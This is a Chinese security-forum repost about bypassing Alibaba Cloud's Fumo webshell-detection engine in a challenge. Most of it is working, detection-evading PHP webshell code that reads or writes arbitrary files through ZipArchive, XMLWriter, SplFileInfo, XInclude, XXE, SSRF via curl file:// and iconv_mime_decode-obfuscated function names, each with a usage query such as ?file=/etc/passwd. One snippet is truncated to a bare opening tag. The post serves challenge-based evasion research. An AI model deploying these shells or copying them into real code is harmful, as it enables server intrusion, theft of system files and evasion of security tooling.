安全矩阵

 找回密码
 立即注册
搜索
查看: 854|回复: 0

记一次阿里云伏魔引擎-多功能场景绕过测试

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-12 14:58:04 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-12 14:59 编辑

记一次阿里云伏魔引擎-多功能场景绕过测试
TGAO 衡阳信安 2023-02-11 00:14 发表于山东
转载自:记一次阿里云伏魔引擎-多功能场景绕过测试

前言
本期的伏魔挑战赛新增多功能场景的玩法,主要包括四大场景:
  • 任意文件读取
  • 任意文件写入
  • 服务器任意信息窃取类后门
  • 网络代理类后门
本文主要对任意文件读取和任意文件写入进行免杀。主要存在三种思路:
  • 寻找不常见且与文件相关的类或方法,如zip、xml等
  • 利用漏洞达到文件读取的目的,如xxe和ssrf以及文件包含
  • 强制绕过常见文件读取与写入函数
寻找不常见且与文件相关的类或方法利用highlight_file&show_source读取文件
用源码高亮函数highlight_file读取文件
  1. <?php
  2. $tmp = filter_input_array(2-1);
  3. @highlight_file($tmp["file"]);
复制代码
highlight_file的别名函数show_source
  1. <?php
  2. $tmp = filter_input_array(2-1);
  3. @show_source($tmp["file"]);
复制代码

利用ZipArchive类读写文件任意文件写入
利用ZipArchive类写入文件的思路:将写入的内容先写进压缩包中,再进行解压缩至任意目录
  1. <?php
  2. $zip = new ZipArchive();
  3. $tmp = filter_input_array(2-1);
  4. $zipTmpPath = $tmp["tmpzip"];
  5. if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {
  6.     exit("cannot open <$zipTmpPath>\n");
  7. }
  8. $zip->addFromString($tmp["filename"], $tmp["content"]);
  9. $zip->close();

  10. if($zip->open($zipTmpPath) !== TRUE){
  11.     exit("cannot open <$zipTmpPath>\n");
  12. }
  13. $flag = $zip->extractTo($tmp["filePath"]);
  14. echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";
  15. $zip->close();
  16. unlink($zipTmpPath);
复制代码

利用方式(get请求):

各个参数解释:确保参数和参数所表示的目录有写入权限?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmptmpzipfilePath
  • tmpzip:临时创建的zip文件路径,需要将文件内容写入到zip文件
  • filename:zip压缩包中的文件名,也是解压之后的文件名
  • content:filename文件的内容
  • filePath:压缩包解压到的路径
任意文件读取
利用ZipArchive读取文件的思路:将要读取的文件添加到压缩包中,读取压缩包中的文件内容
  1. <?php
  2. $tmp = filter_input_array(2-1);
  3. $zipTmpPath = $tmp["tmpzip"];
  4. $filename = $tmp["file"];
  5. $zip = new ZipArchive();
  6. if($zip -> open($zipTmpPath, ZipArchive::OVERWRITE)){
  7.     exit("cannot open <$zipTmpPath>\n");
  8. }
  9. $zip ->  addFile($filename,basename($filename));
  10. $zip->close();
  11. if($zip->open($zipTmpPath) !== TRUE){
  12.     exit("cannot open <$zipTmpPath>\n");
  13. }
  14. echo  $zip->getFromName(basename($filename));
  15. $zip->close();
复制代码

利用方式(get请求):

各个参数解释:确保tmpzip参数所表示的目录有写入权限?tmpzip=/tmp/tgao.zip&file=/etc/passwd
  • tmpzip:临时创建的zip文件路径,需要将待读取的文件内容写入到zip文件
  • file:带读取的文件路径
利用XMLWriter类写入文件
  1. <?php
  2. $tmp = filter_input_array(1);
  3. $w = new XMLWriter();
  4. $w->openUri($tmp["file"]);
  5. $w->writeRaw($tmp["content"]);
复制代码

利用方式:
另外php是个神奇的语言,XMLWriter类的openUri和writeRaw方法可以直接调用,即不通过创建XMLWriter类,具体如下:?file=/tmp/test&content=hello
  1. <?php
  2. $tmp = filter_input_array(1);
  3. $w = xmlwriter_open_uri($tmp["file"]);
  4. xmlwriter_write_raw($w,$tmp["content"]);
复制代码

利用SplFileInfo类读取文件
  1. <?php
  2. $b = filter_input(1,"file");
  3. $fileinfo = new SplFileInfo($b);
  4. $fileobj = $fileinfo->openFile("r");
  5. while (!$fileobj->eof()) {
  6.     echo $fileobj->fgets()."</br>";
  7. }
复制代码
利用方式:?file=/etc/passwd

利用DOMDocument::xinclude读取文件
  1. <?php
  2. $a = filter_input(1,"file");;
  3. $xml = <<<EOD
  4. <?xml version="1.0" ?>
  5. <root xmlns:xi="http://www.w3.org/2001/XInclude">
  6. <xi:include href="$a" parse="text"/>
  7. </root>
  8. EOD;
  9. $dom = new DOMDocument;
  10. $dom->preserveWhiteSpace = false;
  11. $dom->formatOutput = true;
  12. $dom->loadXML($xml);
  13. $dom->xinclude();
  14. echo $dom->saveXML();
复制代码
利用方式:?file=/etc/passwd

利用漏洞读取文件利用XXE漏洞读取文件利用SimpleXMLElement类构造XXE漏洞
  1. <pre><?php
  2. $tmp = filter_input_array(1);
  3. $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$tmp["file"].""> ]> <root> <name>&xxe;</name> </root>";
  4. $data = new SimpleXMLElement($xml,2);
  5. echo $data->name;
  6. </pre><p>利用方式:<code>?file=/etc/passwd</code></p>
复制代码

利用SimpleXMLIterator类构造XXE漏洞SimpleXMLIterator是SimpleXMLElement子类...
  1. <?php
  2. $tmp = filter_input_array(1);
  3. $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$tmp["file"].""> ]> <root> <name>&xxe;</name> </root>";
  4. $data = new SimpleXMLIterator($xml,2);
  5. echo $data->name;
复制代码
利用方式:?file=/etc/passwd

利用simplexml_load_string构造XXE漏洞
利用simplexml_load_string去调用SimpleXMLElement
  1. <?php
复制代码
利用方式:?file=/etc/passwd

利用SSRF漏洞读取文件
  1. <?php
  2. $tmp = filter_input_array(1);
  3. $url = "file:///".$tmp["file"];
  4. if (function_exists('curl_init') && function_exists('curl_exec')) {
  5.     $ch = curl_init($url);
  6.     curl_setopt($ch, CURLOPT_HEADER, 0);
  7.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  8.     $data = curl_exec($ch);
  9.     curl_close($ch);
  10.     echo $data;
  11. }else{
  12.     echo "no curl extension";
  13. }
复制代码
利用方式:?file=/etc/passwd

强制绕过常见文件读取与写入函数利用iconv_mime_decode编码fopen+fread+filesize函数
  1. <?php
  2. $read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?=");
  3. $open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?=");
  4. $size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?=");
  5. $file = $_GET["file"];
  6. $fp = $open($file, "r");
  7. $str = $read($fp, $size($file));
  8. echo $str;
复制代码
利用方式:?file=/etc/passwd

利用iconv_mime_decode_headers编码file函数
  1. <?php
  2. $headers_string = <<<EOF
  3. Subject: =?UTF-8?B?ZmlsZQ==?=
  4. Received: from localhost (localhost [127.0.0.1]) by localhost
  5.     with SMTP id example for <example@example.com>;
  6.     Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
  7.     (envelope-from example-return-0000-example=example.com@example.com)
  8. EOF;
  9. $headers =  iconv_mime_decode_headers($headers_string, 0, "");
  10. $Subject = $headers["Subject"];
  11. $file_arr = $Subject($_GET["file"]);
  12. foreach($file_arr as $value){
  13.     echo $value."<br />";
  14. }
复制代码
利用方式:?file=/etc/passwd
最后
大佬带带!!!
来源:先知社区的【TGAO】师傅
注:如有侵权请联系删除


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:44 , Processed in 0.012767 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表